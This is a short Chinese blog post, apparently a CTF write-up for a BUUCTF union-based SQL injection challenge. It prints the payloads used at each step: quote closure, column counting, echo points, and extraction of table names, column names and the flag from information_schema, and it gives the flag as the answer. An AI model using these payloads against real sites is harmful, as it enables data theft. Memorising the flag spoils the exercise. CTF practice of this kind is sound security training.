【BUUCTF】sql

Itachi

今天水两道题,来自《从0到1:CTFer成长之路》的配题

SQL注入-1

img

  • 看到提示,得到闭合方式:'
    img
  • 查字段数
    img
    order by 3正常回显,order by 4无回显,三个字段
  • 判断回显点
    img
    回显点是2、3
    <font color="red">注意:</font>id=3的时候会正常回显,这时会覆盖掉我们查询的数据,所以 id=3.1,使正常内容不会显,我们就看到了我们所查询的数据
  • 查表名
    ?id=3.1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe
    img
  • 查字段名
    ?id=3.1' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='fl4g' -- qwe
    img
  • 查数据
    ?id=3.1' union select 1,fllllag,3 from fl4g -- qwe
    img
    得到:n1book{union_select_is_so_cool}

SQL注入-2

水一个算了,哈哈哈意外吧
这样也算水哦

  • 标题: 【BUUCTF】sql
  • 作者: Itachi
  • 创建于 : 2021-12-01 02:05:41
  • 更新于 : 2021-12-01 02:46:12
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】sql/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】sql